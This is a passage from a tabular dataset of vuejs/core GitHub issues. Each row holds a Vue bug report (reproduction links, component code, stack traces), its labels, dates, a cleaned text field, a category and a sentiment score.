System:
    OS: Linux 5.15 Ubuntu 24.04.1 LTS 24.04.1 LTS (Noble Numbat)
    CPU: (22) x64 Intel(R) Core(TM) Ultra 9 185H
    Memory: 10.22 GB / 15.43 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 23.10.0 - /usr/local/bin/node
    npm: 10.9.2 - /usr/local/bin/npm
```

### Any additional comments?

This observation only ... [TRUNCATED]",":hammer: p3-minor-bug,regression",2025-03-22 10:15:00+00:00,2025-05-02 09:55:25+00:00,1,":hammer: p3-minor-bug,regression",40.9864,readonly reference to an array is not honored when inside v for vue version link to create a readonly reference to a reference of an array of objects in the template iterate over the reference array using while attempting to modify the current element for instance inside a child component setup function or directly in the template as follows what is expected modification should be disallowed as the reference is a readonly one what is actually happening modification is permitted data is mutated no error or waring issued system info any additional comments this observation only truncated,bug,-0.7329
vuejs/core,2938038247,Input checkbox value won't change when trigger is coming from click,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Uk1v2zAM/SuELnGAwEaR7ZLa2UfXQ3fYim1HAYNi045bWRIk2ctg+L+Xkus0BYqeJD4+ko9PGtkXY9KhR7ZjuSttazw49L3Zc9V2RlsPI1isN1DqzvQeK5igtrqDFRWtuCq1ch4EFIGVcCY4W18vcN1a538a32pFhKVDkqyh2INIByF7hKIoYCVWL1XCe+xIRwEJRubIFQCmxuKAyn/DWvTSJ+trwpzX5t5qIxoRphAYuOfWr4ZEcfCJzgOduzkm/sRVns2709YUhPFSeKQIID9e7W+OWD4e9AldnlEYYVKzH0cxTXkWrhGT4oAyXiloFW0LuzLUYlVwduEGzf9cyrZ8JPh5XYL8f4MExAqaxtlzqztwR93LCg4I5VGohl6BHI0N4txsGZxnF9rZhnlHltZtkz44reiJo5M0gV6ilWhnMY6z3exxyAkp9b/vEfO2x82CR1Vv4A+OhAYz7y06tANyds55YRukzUL69vcPPNH9nOx01Utiv5P8hU7LfjYs0L72qiLZF7yo9i5+1FY1f9ztyaNyy1JBaGBOkc8Zfdmbd1Z/kbtNP8Q6+hzk4t8BbehJBm7Tj+nVlk1PF4wOOQ==

### Steps to reproduce

1. Create a Vue component with the following code:
```
<script setup>
import { ref, computed } from 'vue'
const a = ref(""a"");
const firstOption = computed(() => a.value === 'a');
const attempt = (e) => {
  e.preventDefault(); e.stopPropagation();
  a.value = a.value === ""a"" ? ""b"" : ""a"";
}
</script>

<template>
  <h1>Checkboxes</h1>
  <pre>{{a}}</pre>
  <label>
    <input :checked=""firstOption"" @click=""attempt"" type=""checkbox"">
    I should be changed on click
  </label>
</template>
```
2. Load the component in your application
3. Observe the initial state of the checkbox
4. Click the checkbox
5. Notice that while the value of a toggles between ""a"" and ""b"" (visible in the pre tag), the checkbox state does not change properly

### What is expected?

The checkbox should toggle be... [TRUNCATED]",,2025-03-21 11:01:15+00:00,2025-03-22 01:00:15+00:00,2,nan,0.5826,input checkbox value won t change when trigger is coming from click vue version link to create a vue component with the following code load the component in your application observe the initial state of the checkbox click the checkbox notice that while the value of a toggles between a and b visible in the pre tag the checkbox state does not change properly what is expected the checkbox should toggle be truncated,others,0.8625
vuejs/core,2937166641,Optimize defineProps to Exclude Unpassed Props Instead of Assigning Default Values,"### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNp9Ustu2zAQ/BWCl6RATKEIelGVFGmRQ3pog7ZHAQUtrRU64gPkynFg6N+zJP1QnMQ37szsch+z4TfOidUAvORVaLxyyALg4K5ro7SzHtkPqx1beKvZmShiEOVntamKrCclBQja9RKBIsaqlGOkhquaS7TrmhdEVMVExS84hsaaherEMlhDDWxibs0bSlY9+N8OlTWh5iVLTORk39unnwlDP8DFDm8eoHl8B18G+rukx72HAH4FNd9zKH0HmOnbv79gTe89qW079KQ+Qf6BYPsh9phl3wfTUtsTXer2Lq1Rme5fuF0jmLAbKjYalWPS15zWGvf20eiHdi/Fl5RXm5G2uDvJ8QVZL01H+0cqc7jm5u7eWxfG/UXx2cVr0iUCMhc5dsVaWCgDSVnlhOvzT1lkexC97c6TlLBTNmjVKj1Y8gLNsklZIkYjtR8Z2U0ICna4Cje0ZDxwWyDzVZFrv7EUTSMw0C5gneZVBsEvZAMsz0H79LFAbOFbyQJ6uszXjNHvBJlBz8Fvoe2nBM8tTS5NwuPa8z5nWroj+2bi9e3oPNkjD4gulEVBLT/Hoy2DsL4r6CX8YFBpEBD0bO7tE9mVKk/cRKIiedjPPJgWfPTaiaJH2jeFJx76T8LoS5qCzCU+X/LxBWKeZfI=

### Steps to reproduce

1. Define a TypeScript type for props.
2. Use defineProps to define the props in a Vue component.
3. Observe that all properties from the type definition are assigned default values, even if they are not passed in.

```vue
<script setup>
import Comp from './Comp.vue'
</script>

<template>
  <Comp name=""atox""/>
</template>
```
![Image](https://github.com/user-attachments/assets/bb1bf24c-9ce4-478c-9fe3-975e682495d0)

### What is expected?

- Props that are not explicitly passed by the parent component should not exist in the component's props object.

- Default values should only be applied if explicitly set in props or withDefaults.

- Behavior should align with manually defined Vue props instead of implicitly assigning undefi... [TRUNCATED]",,2025-03-21 03:34:26+00:00,2025-03-21 05:45:23+00:00,1,nan,0.0909,optimize defineprops to exclude unpassed props instead of assigning default values vue version latest link to define a typescript type for props use defineprops to define the props in a vue component observe that all properties from the type definition are assigned default values even if they are not passed in image what is expected props that are not explicitly passed by the parent component should not exist in the component s props object default values should only be applied if explicitly set in props or withdefaults behavior should align with manually defined vue props instead of implicitly assigning undefi truncated,others,0.8555
vuejs/core,2936538458,Array model ignores assigned value,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUk1v1DAQ/SuDL92VSiK0cFnS8lH1UCQoAm4YoZBMsu46tuWPdKtV/jtje7MsEhRu9sybmTfz3p69MaYYA7I1q1xjhfHg0AcDslb9BWfecXbJFVdiMNp6uNoI2UJn9QBnRZl+sfzsZcT4B4Nwa3u4gD1XAFI3tRdauVdrcN4K1X/9xtUUoQ1FPWjbr+eCFK7KTCKNrDwORtYe6QdQtWJMD3pmFuPTQbcoiSX1KY7DOCtzQZkrqvKkDzunlWh4J/rizmlFeyeqnDV6MEKivTWHLuu8RMzVUur7dynmbcDzOd5ssNn+IX7ndjHG2UeLDu2InB1zvrY9+py+/vwBd/Q+JmmhIAn9SPITOi1D5Jhhb4NqifYJLrG9SXrRyb+4651H5ealItGInBKeM1Lv6pHVf9FdFc9THSlIVzxK/0/nZKmTVKRzi51Q+D7+qtkTl4tlBHZBNZEAaHWj6Gx+sUw0RAeLJ6m+GGsZcDmzO4lR5+itRO+3RGGC2yw4U3jPGY2h/H+a7Efwnsi8bqRottFkB1a0Vn4A9Tz4uiozeq6lNmTPTluqG0F3mRFnsN7iQ4xRk/1+nKbZpH+36/cRbRSP7rwqXhTPVmz6CZdyPx4=

### Steps to reproduce

1. Click ""Insert new string""
2. Console error showing `model.value` is `undefined`



### What is expected?

At line 9 in `Child.vue`, `model.value` should have a value.



### What is actually happening?

At line 9 in `Child.vue`, `model.value` is undefined.

### System Info

```shell

```

### Any additional comments?

How is it that `model.value` can still be undefined at the point when `push()` is called?
```
if (!model.value) {
    model.value = []
  }
  model.value.push(""new"")
```

Without the conditional the result is the same.",,2025-03-20 20:11:48+00:00,2025-03-21 01:11:57+00:00,5,nan,0.2084,array model ignores assigned value vue version link to click insert new string console error showing is what is expected at line in should have a value what is actually happening at line in is undefined system info any additional comments how is it that can still be undefined at the point when is called without the conditional the result is the same,others,-0.0772
vuejs/core,2935349918,"When calling a function in a template to create a VNode, an error occurs when updating the component: Cannot read properties of null (reading 'emitsOptions')","### Vue version

v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNp9U8tu2zAQ/JUFL3KQQCrQnlzZaBsEaHtIg7a3sgdHWtlMJJLgwzEg6N+zS9mKggQ+SBB3ZoezD/Xiq7X5PqJYitJXTtkAHkO0a6lVZ40L0MMOBmic6SAjYvZ5hjhsXmETdGtqPMbzgg98B8FSV0b7AJWJOqCDFUssPly8IN+xbQ3FFxewWkMvNRAlRKchSxCJDMxuoq6CMhoqh5uAfAelzPm7RUogbUooi7E6qosOATvbUhadAK5bVT1C2CFEW1MQ7mMIJBwM7BU+JYS9mRYBnTMOlG6M6zZ8fQ7lvSuSDj/lMfdLxaIrKY6FXl5KsR7ll9D3U/3DUBZjSjLGAg5YLn2nLi41vVlpVqcUiVQWs0LElQiefDZqmz94o2miqRvsobOqRffLsmMvBVlghLENdejpZ4oFF/HqFK92WD2+E3/wB45JcefQo9ujFBMWNm6LYYRv/tzigb4nsDN1bIl9BvyN1OPIHkfat6hrsj3jJbc/0oopvf3rbw4BtT8VxUaZOSS+FLRy12dKf7H7Mf+U8mhTqIundX3nl6ixURrvnLF+8S/jwWT/ab/OLFfJzTcadYCl8jRGTqJdKIsJeDPI4RnOHDfq

### Steps to reproduce

When you click the update button to update the component status, the console will report an error

### What is expected?

Should not report an error

### What is actually happening?

Error:
TypeError: Cannot read properties of null (reading 'emitsOptions')
    at shouldUpdateComponent (vue.runtime.esm-browser.js:8774:27)
    at updateComponent (vue.runtime.esm-browser.js:7336:9)
    at processComponent (vue.runtime.esm-browser.js:7283:7)
    at patch (vue.runtime.esm-browser.js:6801:11)
    at patchBlockChildren (vue.runtime.esm-browser.js:7155:7)
    at processFragment (vue.runtime.esm-browser.js:7233:9)
    at patch (vue.runtime.esm-browser.js:6775:9)
    at ReactiveEffect.componentUpdateFn [as fn] (vue.runtime.esm-browser.js:7496:9)
    at ReactiveEffect.run (vue.runti... [TRUNCATED]",,2025-03-20 12:39:18+00:00,2025-03-21 00:59:47+00:00,5,nan,0.5142,when calling a function in a template to create a vnode an error occurs when updating the component cannot read properties of null reading emitsoptions vue version v link to when you click the update button to update the component status the console will report an error what is expected should not report an error what is actually happening error typeerror cannot read properties of null reading emitsoptions at shouldupdatecomponent vue runtime esm browser js at updatecomponent vue runtime esm browser js at processcomponent vue runtime esm browser js at patch vue runtime esm browser js at patchblockchildren vue runtime esm browser js at processfragment vue runtime esm browser js at patch vue runtime esm browser js at reactiveeffect componentupdatefn as fn vue runtime esm browser js at reactiveeffect run vue runti truncated,bug,-0.872
vuejs/core,2934673833,HMR fails when using keep-alive and Suspense.,"### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/minimal-reproduction/vue-keepalive-suspense

### Steps to reproduce

After the second modification of the `ref` value, the page will not update.

https://github.com/user-attachments/assets/1e199231-c122-4285-b2cc-ce9457daa90e

### What is expected?

HMR is working normally.

### What is actually happening?

HMR is broken.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: suspense,scope: hmr,:hammer: p3-minor-bug",2025-03-20 09:21:37+00:00,2025-09-02 09:44:14+00:00,0,"scope: suspense,scope: hmr,:hammer: p3-minor-bug",166.0157,hmr fails when using keep alive and suspense vue version link to after the second modification of the value the page will not update what is expected hmr is working normally what is actually happening hmr is broken system info any additional comments no response,bug,-0.4767
vuejs/core,2931995963,"Vue Slot Component Causes ""Cannot Read Properties of Null (reading 'ce')"" Error When Rendering","### Vue version

3.5.13

### Link to minimal reproduction

https://github.com/Kaifuny/test-vue-slot-component-package

### Steps to reproduce

GitHub Repo: https://github.com/Kaifuny/test-vue-slot-component-package

```
yarn install

yarn build:ui

yarn dev
```

when you at the root of the app project

apps/desktop/src/App.vue

```
<script setup lang=""ts"">
import { Button1, Button2 } from '@test/ui';
</script>

<template>
  <div>
    <!-- <Button1></Button1> -->
    <Button2>bbb</Button2>
  </div>
</template>
```

Button2 is not working, but Button1 is working.

the error message is

```
index.mjs:618 Uncaught TypeError: Cannot read properties of null (reading 'ce')
    at renderSlot (index.mjs:618:32)
    at Proxy._sfc_render (index.mjs:1262:5)
    at renderComponentRoot (chunk-3SZSTCRY.js?v=05012731:8581:17)
    at ReactiveEffect.componentUpdateFn [as fn] (chunk-3SZSTCRY.js?v=05012731:7403:46)
    at ReactiveEffect.run (chunk-3SZSTCRY.js?v=05012731:481:19)
    at setupRenderEffect (chunk-3SZSTCRY.js?v=05012731:7538:5)
    at mountComponent (chunk-3SZSTCRY.js?v=05012731:7313:7)
    at processComponent (chunk-3SZSTCRY.js?v=05012731:7266:9)
    at patch (chunk-3SZSTCRY.js?v=05012731:6782:11)
    at mountChildren (chunk-3SZSTCRY.js?v=05012731:7014:7)
```

### What is expected?

<Button2> should render correctly without throwing an error, just like <Button1>. Both components should be usable when imported from @test/ui in App.vue.

### What is actually happening?

```
index.mjs:... [TRUNCATED]",,2025-03-19 14:24:25+00:00,2025-03-19 14:57:32+00:00,2,nan,0.023,vue slot component causes cannot read properties of null reading ce error when rendering vue version link to github repo when you at the root of the app project apps desktop src app vue button is not working but button is working the error message is what is expected should render correctly without throwing an error just like both components should be usable when imported from test ui in app vue what is actually happening index mjs truncated,bug,-0.775
vuejs/core,2930388263,Vue Component Style Conflict Issue,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqlVNuK2zAQ/RVVL2lh12Zx24DrDbTLQlvohW6hL4Li2hPHG1kSkpwmBP97RxNfkrDdLdR5kWZGozPnnGjP3xoTbVrgKc9cYWvjmQPfmoVQQtWN0dazPbOwZB1bWt2wGRbPxlSzu9G4UqA86/NRfBQMrWdvQq9CK4f1rmLXod3z2XuQUrMf2sry2exFKMniAwK6O/PQGJl7wB1j2epqsd/T8a7LYtxRtFam9Wxz2egS5LXgmBecxdQA083ushiQhGAWHzXlF9w7RLWsq+jeaYUM7MMpwcOZWoL9YnyNqAVPGWVCLkfQvz9SzNsWLoZ4sYJi/UD83m1DTPCvFhzYDQg+5nxuK/CH9O3dZ9jiekziSK3E6keS38Bp2QaMh7J3rSoR9lEdof1AUtWq+u5utx6UG4YKQENlR/WCo1ZBuL+NPsFNopd0TqgOWTyTe3ISktzbRNZLuNkVEkaPjJHJIbCl2hKWeSvRdeEKlTeQCv5puqKfzlhtXNpj87WXMGwosDOQ3nmLQ/dchK/vjP3wR1GcYBh/NMrYdYQ4zPq4Q8t6Q4tg1mTxmj50ajIEJw5Swot2nc/nggdjUoGT2pN3cR0fup0YFrfO7/A8utZASYWrZNDnV16sK6vRAuh5qW3KTK3WSCxhR+Dh6ALlOmH+RCzGHpJgFGHiYzDYiQj/LQMxjEZ74iU45RkfBbr28CyMZOMKyZ2fhc4U+VfCn2S6sgDqnGp6YX5uwIb/G/KcRK+iq4R3fwCj2MeS

### Steps to reproduce

You need to start the service and preview it in the browser. Comment out the h3 tags in lifeCycle.vue one by one and observe the results.

### What is expected?

When only one h3 tag is left in lifeCycle.vue, its background color will turn pink ( using the style from MyComponent.vue )

### What is actually happening?

When the h3 tags in lifeCycle.vue are commented out, leaving only one, the corresponding h3 style will adopt the style declared in MyComponent.vue, rather than the style declared in lifeCycle.vue

### System Info

```shell
Invalid prop: type check failed for prop ""title"". Expected String with value ""666"", got ... [TRUNCATED]",can't reproduce,2025-03-19 04:05:43+00:00,2025-03-23 00:10:57+00:00,1,can't reproduce,3.837,vue component style conflict issue vue version link to you need to start the service and preview it in the browser comment out the h tags in lifecycle vue one by one and observe the results what is expected when only one h tag is left in lifecycle vue its background color will turn pink using the style from mycomponent vue what is actually happening when the h tags in lifecycle vue are commented out leaving only one the corresponding h style will adopt the style declared in mycomponent vue rather than the style declared in lifecycle vue system info shell invalid prop type check failed for prop title expected string with value got truncated,bug,-0.3612
vuejs/core,2928653849,包含依赖关系的多个 Vue 文件之间的 样式覆盖问题,"### Vue version

3.2.13

### Link to minimal reproduction

I don't know what this should input

### Steps to reproduce

A.vue 部分代码：
{
```
<h3>单文件组件</h3>
<!-- 引入 LifeCycle  -->
<life-cycle :title=""666""/>

     import LifeCycle from './lifeCycle.vue';
    components:{
        LifeCycle,
   }

<style scoped>
    h3 {
       background-color: pink;
    }
</style>
```

}

LifeCycle.vue 代码:
```
    <h3>6666</h3>
    <h3>{{ title }}</h3>

    name:""LifeCycle"",
     props:{
        title:{
            type:String,
            default:""""
        }

<style >
    h3{
        background-color: green;
    }
</style>
```

### What is expected?

标签的样式 会被覆盖 或者 非常规形式呈现

### What is actually happening?

在项目运行后，对 lifeCycle.vue 中的 两个 H3 分别进行注释，剩余的那一个采用的样式 会很奇怪

具体如下：

- 如果 两个都 不注释 ==> 两个 H3 背景均为 绿色
- 如果先注释 6666  ，title 对应的 H3 背景为 粉色 ，此时放开 注释，两个都变为绿色
- 如果 注释 title , 6666 对应的 H3 背景为 粉色，此时放开注释，两个都变为绿色

### System Info

```shell

```

### Any additional comments?

使用 props 接收数据 进行相关测试 的时候发现的

貌似是，如果是 只有 一个 H3 ，就会出现 上面的变成粉色的情况，两个 H3 或者 3个以上 就不会。",,2025-03-18 14:06:49+00:00,2025-03-18 14:11:47+00:00,1,nan,0.0034,vue vue version link to i don t know what this should input a vue lifecycle vue what is expected what is actually happening lifecycle vue h h title h title h system info any additional comments props h h,others,0.0
vuejs/core,2919801360,"<input v-model=""modelValue"" /> 输入后通过js控制modelValue的值为输入前的值，渲染与值不符","### Vue version

latest

### Link to minimal reproduction

https://play.vuejs.org/#eNqNUstu2zAQ/JUFL3YAWTq0J9cO+kAOKdAH2rSXsgdBWitMKJLgQ3Fi6N+zJO1YCYwgN3F2NJxZzo59MqYcArIlW7nGCuPBoQ/mnCvRG2097MDiBkbYWN0DZ8Tl7MPT9Aq3/lKZ4A/zsvIELUTEonAic9Vo5TwMsI5q89nsjNCMXdeqlfjHtLVHGg+1hPU57LgCGEo6hT1aWjSybnBe/asXD/+rThSQdQCikpZYSt3NZ1PBWXEQOeNqJO6qyikpHx089qTpkU4Aq1YM6YM+jxlgWPS6Rbmm6JzBx5B0lwlbJGWaTK8kUpX1qiy4oo3sr2EF847MbkRX3jitaOspKGeN7o2QaH8YLygMZ8u8gjirpdR3XxPmbcDigDfX2NyewG/cNmKc/bTo0A5k6Wnma9uhz+OL398p5mRIoYIk9ivDX0iLDtFjpn0OMbmd8JLby9QOobord7H1qNwhVDQamWPipzp9eSX60e678n36j54xbvFZx06UN3crvdLffYda3AiF3yI0pza8uQsva3AUpaf29yYWIPpJD19M7qQcu6mFkcyfrsX4CCcDMNI=

### Steps to reproduce

demo中对modelValue作了处理，过滤了英文字母
多次连续输入数字和字母，input框中保留了字母，与实际值不同

### What is expected?

input输入时自动过滤掉字母

### What is actually happening?

input框中保留了字母，与实际值不同

### System Info

```shell

```

### Any additional comments?

_No response_",,2025-03-14 10:14:18+00:00,2025-03-14 10:36:44+00:00,1,nan,0.0156,js modelvalue vue version latest link to demo modelvalue input what is expected input what is actually happening input system info any additional comments no response,others,-0.296
vuejs/core,2919101557,Vue Component Type Build Error with __VUE_PROD_DEVTOOLS__ in Vite,"### Vue version

3.4.3

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-guabna1b?file=vite.config.ts&file=src%2Fcomponents%2FDynamicComponent.vue&terminal=dev

### Steps to reproduce

- In `tsconfig.json`, set the `verbatimModuleSyntax` option to `false`, and use the `Component` type without explicitly specifying type in the import statement.
- In `vite.config.ts`, declare the `__VUE_PROD_DEVTOOLS__` flag as `'false'`.

### What is expected?

The build should work correctly regardless of whether the import type statement is used.

### What is actually happening?

<img width=""695"" alt=""Image"" src=""https://github.com/user-attachments/assets/1d1e70ea-495a-427a-ab1a-f67d410c371c"" />

In the `vite.config.ts` file, when the `__VUE_PROD_DEVTOOLS__` flag is declared, a build error occurs if you use Vue's `Component` type without explicitly specifying the type in the import statement.

### System Info

```shell

```

### Any additional comments?

_No response_","scope: sfc,🔩 p2-edge-case",2025-03-14 04:50:04+00:00,2025-03-17 01:06:44+00:00,3,"scope: sfc,🔩 p2-edge-case",2.8449,vue component type build error with vue prod devtools in vite vue version link to in set the option to and use the type without explicitly specifying type in the import statement in declare the flag as what is expected the build should work correctly regardless of whether the import type statement is used what is actually happening in the file when the flag is declared a build error occurs if you use vue s type without explicitly specifying the type in the import statement system info any additional comments no response,bug,-0.802
vuejs/core,2916446415,`defineModel` nested value changes not triggering re-render,"### Vue version

3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqNVE1v2zAM/SuELnGAzMGQ7ZLZAdYhhw7YB7bdqmLwEjlRa0uGJLsZAv/3kbJle01b9JLIfCQfRT7qzD5WVdzUgq1Z4kRZFZkTG64Akk+6rKB5U+q9KNa6clIrm3LWnzjbJEtyQedkOYnET7szsnJghasJlmWljQOfLze6hFnsI4l29mHAz2BEDm3vQhgl2yGXg54UUvKJzlRfrk15jbx2DTf07Y0ARfYHywXOcmmsU1kpOFt0UGV09TTSZEUtCBos9qgfIqKYh8SA1K42CpypRWdq6a/1EY/Zi+wZ8gvgddzUBl2IuNCHDnpUFNni4WKQpinMsH9jlfRzy1WLgcmyG5AfFldswZzF/Lk8xHdWK1SCp+Vsh0OShTDfwsjXoSDOsqLQD5+9jRrSl44xR7G7f8J+Z09k4+y7EVaYZmwAZy4zB+E6ePvzqzjheQBRf3WB3i+APwT2pqYaO7erWu2x7Imfr/ba60yqwy+7PTmhbLhUmGg3Ss5Qe6TP564+lruK3/XNbbGLQdOXq7SXjT/gMQC4WTgz3KdIomkOOg8ijwdlcwbre/EXncgnJgnh2oXJU1bMIvOAe934dZ1P3FCbZw97bbbtGhKpqtqF1Q7RXofIuBwJlpO6pys+Qq/b/DNodSXwWuKLrpVbXCw6PgKXm74XuVQYgTVGk2dnPnH2FwiPAkmbq/+YomgO6aabXOiuv+fYYzpts90x6ucQ3KFL3rnfDP2/RbaxXVgKTh95O+5hsVAMvxthSGAohlX8Pn67Yu0/BxnKBA==

### Steps to reproduce

1. Change the firstname form item value to any value.

### What is expected?

The defineModel nested value being changed should trigger a re-rendering of the component, and the show method of the formItems object element will be executed, causing the lastname form item to disappear.

### What is actually happening?

The show method of the formItems object element is not executed, and the lastname form item still exists.

### System Info

```shell
System:
    OS: macOS 15.3.2
    CPU: (8) arm64 Apple M1
    Memory: 97.75 MB / 16.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 23.7.0 - ~/.nvm/ver... [TRUNCATED]",,2025-03-13 09:24:41+00:00,2025-03-13 09:39:16+00:00,2,nan,0.0101,nested value changes not triggering re render vue version link to change the firstname form item value to any value what is expected the definemodel nested value being changed should trigger a re rendering of the component and the show method of the formitems object element will be executed causing the lastname form item to disappear what is actually happening the show method of the formitems object element is not executed and the lastname form item still exists system info shell system os macos cpu arm apple m memory mb gb shell bin zsh binaries node nvm ver truncated,others,0.7717
vuejs/core,2916280460,Typed defineSlots with mapped types сauses ts error,"### Vue version

^3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-cwo16alf?file=src%2Fcomponents%2FMyList.vue

### Steps to reproduce

Create and use component MyList

```vue
<script
  lang=""ts""
  setup
  generic=""T extends Record<string, unknown>, K extends keyof T""
>
  import { VNode } from 'vue'

  defineProps<{
    list: T[]
  }>()

  defineSlots<
    {
      [PropName in K]: (props: { rowData: T }) => VNode[]
    } & {
      footer: () => VNode[]
    }
  >()

  const getKeys = (data: T):K[] =>{
   return Object.keys(data) as K[]
  }
</script>

<template>
  
  <ol v-for=""(item, index) in list"" :key=""index"">
    <li v-for=""key in getKeys(item)"" :key=""key"">
      <slot :name=""key"" :rowData=""item"" />
    </li>
  </ol>

  <slot name=""footer"" />
</template>

```

Run `vue-tsc` for type-checking

### What is expected?

Component slots become type-safe, no error occured

### What is actually happening?

```log
`> vue-tsc --noEmit

src/components/MyList.vue:28:8 - error TS2345: Argument of type '{ rowData: T; }' is not assignable to parameter of type 'NonNullable<(Readonly<{ [PropName in K]: (props: { rowData: T; }) => VNode<RendererNode, RendererElement, { [key: string]: any; }>[]; } & { footer: () => VNode<RendererNode, RendererElement, { ...; }>[]; }> & { [PropName in K]: (props: { ...; }) => VNode<...>[]; } & { ...; })[K]> extends (props: infer P) => any ? P ...'.

28       <slot :name=""key"" :rowData=""item"" />
          ~~~~

src/components/M... [TRUNCATED]",scope: types,2025-03-13 08:32:45+00:00,2025-03-13 10:41:41+00:00,2,scope: types,0.0895,typed defineslots with mapped types auses ts error vue version link to create and use component mylist run for type checking what is expected component slots become type safe no error occured what is actually happening log vue tsc noemit src components mylist vue error ts argument of type rowdata t is not assignable to parameter of type nonnullable vnode footer vnode propname in k props vnode k extends props infer p any p src components m truncated,bug,-0.802
vuejs/core,2914648280,Custom Element Mode - Styles applied in wrong order,"### Vue version

3.5.13

### Link to minimal reproduction

https://stackblitz.com/edit/vitejs-vite-pn21u36z?file=src%2Fcomponents%2FHelloWorld.vue,src%2Fcomponents%2FBox.vue,src%2FApp.vue,src%2Fmain-ce.js,index.html,vite.config.js,src%2FApp.ce.vue&terminal=dev

### Steps to reproduce

Open the page and wait until load.

### What is expected?

I would expect the first box to be red and the second box to be green.

### What is actually happening?

The first box is red, also second is red.

Generally speaking this is something that can potentially be avoided by using CSS selector specifity. But the issue here is that the behavior is inconsistent between standard Vue app and the app bundled as web component. 

Basically the issue here is that there is some ""box"" component which has its `class=""box""` and some ""nested"" component which uses ""box"", but applies additional class and style. Like

```
Box.vue
<style scoped>
.box { background-color: red }
</style>

...
HelloWorld.vue
<style scoped>
.my-box{ background-color: green}
</style>

<template>
<Box class=""my-box""></Box>
</template>
```

So, in normal Vue app (if you switch the mode in Vite config in example) the styles will get applied from deepest to most shallow, like `Box` styles will be injected into DOM and then `HelloWorld` styles. For CE that's not (always?) the case and styles get applied ""in order"", so `HelloWorld` gets injected before `Box`. 

I've been trying to find some info regarding this behavior, but I only found ... [TRUNCATED]",":hammer: p3-minor-bug,scope: custom elements",2025-03-12 17:16:36+00:00,2026-03-09 08:12:14+00:00,4,":hammer: p3-minor-bug,scope: custom elements",361.622,custom element mode styles applied in wrong order vue version link to open the page and wait until load what is expected i would expect the first box to be red and the second box to be green what is actually happening the first box is red also second is red generally speaking this is something that can potentially be avoided by using css selector specifity but the issue here is that the behavior is inconsistent between standard vue app and the app bundled as web component basically the issue here is that there is some box component which has its and some nested component which uses box but applies additional class and style like so in normal vue app if you switch the mode in vite config in example the styles will get applied from deepest to most shallow like styles will be injected into dom and then styles for ce that s not always the case and styles get applied in order so gets injected before i ve been trying to find some info regarding this behavior but i only found truncated,bug,0.5789
vuejs/core,2912708203,"When using the `defineAsyncComponent` function and adding both `errorComponent` and `onError`, the `errorComponent` is not rendered when an error occurs. The expectation is that when `onError` is triggered, the `errorComponent` should be rendered.","### Vue version

vue v3.5.13

### Link to minimal reproduction

https://play.vuejs.org/#eNqFU8GO0zAQ/ZWRL0mlKq3YW+lWWlAPcIAV7A1ziJJpcUnGke20RVH+nRl7my6osIpk2fOeZ974TQb10HXFsUe1UmtfOdMF8Bj6bqPJtJ11AQaocWcIH/wvqt5bDhJSgBF2zraQ8d1s4gr8HC8WcpDU2VtN6dv1VAVjCRpb1lOqfAaDJgDHdR0B4QkeOYXxmOcOvW2OOGfwgFWYwf0mkUFkPpkWbR9yznCNSyLh5plUAXTOumyWsHEOb5bLZTyNvI6iqrLkA0ztwf3NhvOYXlKiW0EpGPxR91l+eSpN+LvBWG8ua5QzIav4YhGwtBUonw0sSrStF8kPdoIPAduuKQPyCWA9SdusF9e93Jl4aq6C59Z2Zl8cvCU2OArVqmKuadB97sQLr9Xq0oJWZdPY08cYC67HqCze+YHVzxvxgz9LTKtHdgrdEbWasFC6PYYEb79+wjPvJ7C1dd8w+z/gF/G+F42J9q6nmmW/4EW1H+LoGdo/+e05IPlLUyL0+vBa8SjKM/2r9avcu+Iu3mMf+BUvY3zjD9GUJoXHtfP5tyzN2vdXzKvNMW4AhiHNQ9Gi9+UeYeSazFgkyks3x99Fuz0D

### Steps to reproduce


When using the `defineAsyncComponent` function and adding both `errorComponent` and `onError`, the `errorComponent` is not rendered when an error occurs. The expectation is that when `onError` is triggered, the `errorComponent` should be rendered.

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### What is expected?

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### What is actually happening?

defineAsyncComponent函数添加errorComponent 和 onError 出现错误时没有渲染errorComponent ，期望有onError时候，能渲染errorComponent 

### System Info

```shell

```

### Any additional comments?

related https://github.com/vuejs/core/issues/9714",,2025-03-12 05:24:15+00:00,2025-03-12 05:50:06+00:00,1,nan,0.018,when using the function and adding both and the is not rendered when an error occurs the expectation is that when is triggered the should be rendered vue version vue v link to when using the function and adding both and the is not rendered when an error occurs the expectation is that when is triggered the should be rendered defineasynccomponent errorcomponent onerror errorcomponent onerror errorcomponent what is expected defineasynccomponent errorcomponent onerror errorcomponent onerror errorcomponent what is actually happening defineasynccomponent errorcomponent onerror errorcomponent onerror errorcomponent system info any additional comments related,bug,-0.7184
vuejs/core,2909776241,没有启用SSR，esm-browser 为何会有__VUE_SSR_SETTERS__ 相关逻辑,"### Vue version

3.1.15

### Link to minimal reproduction

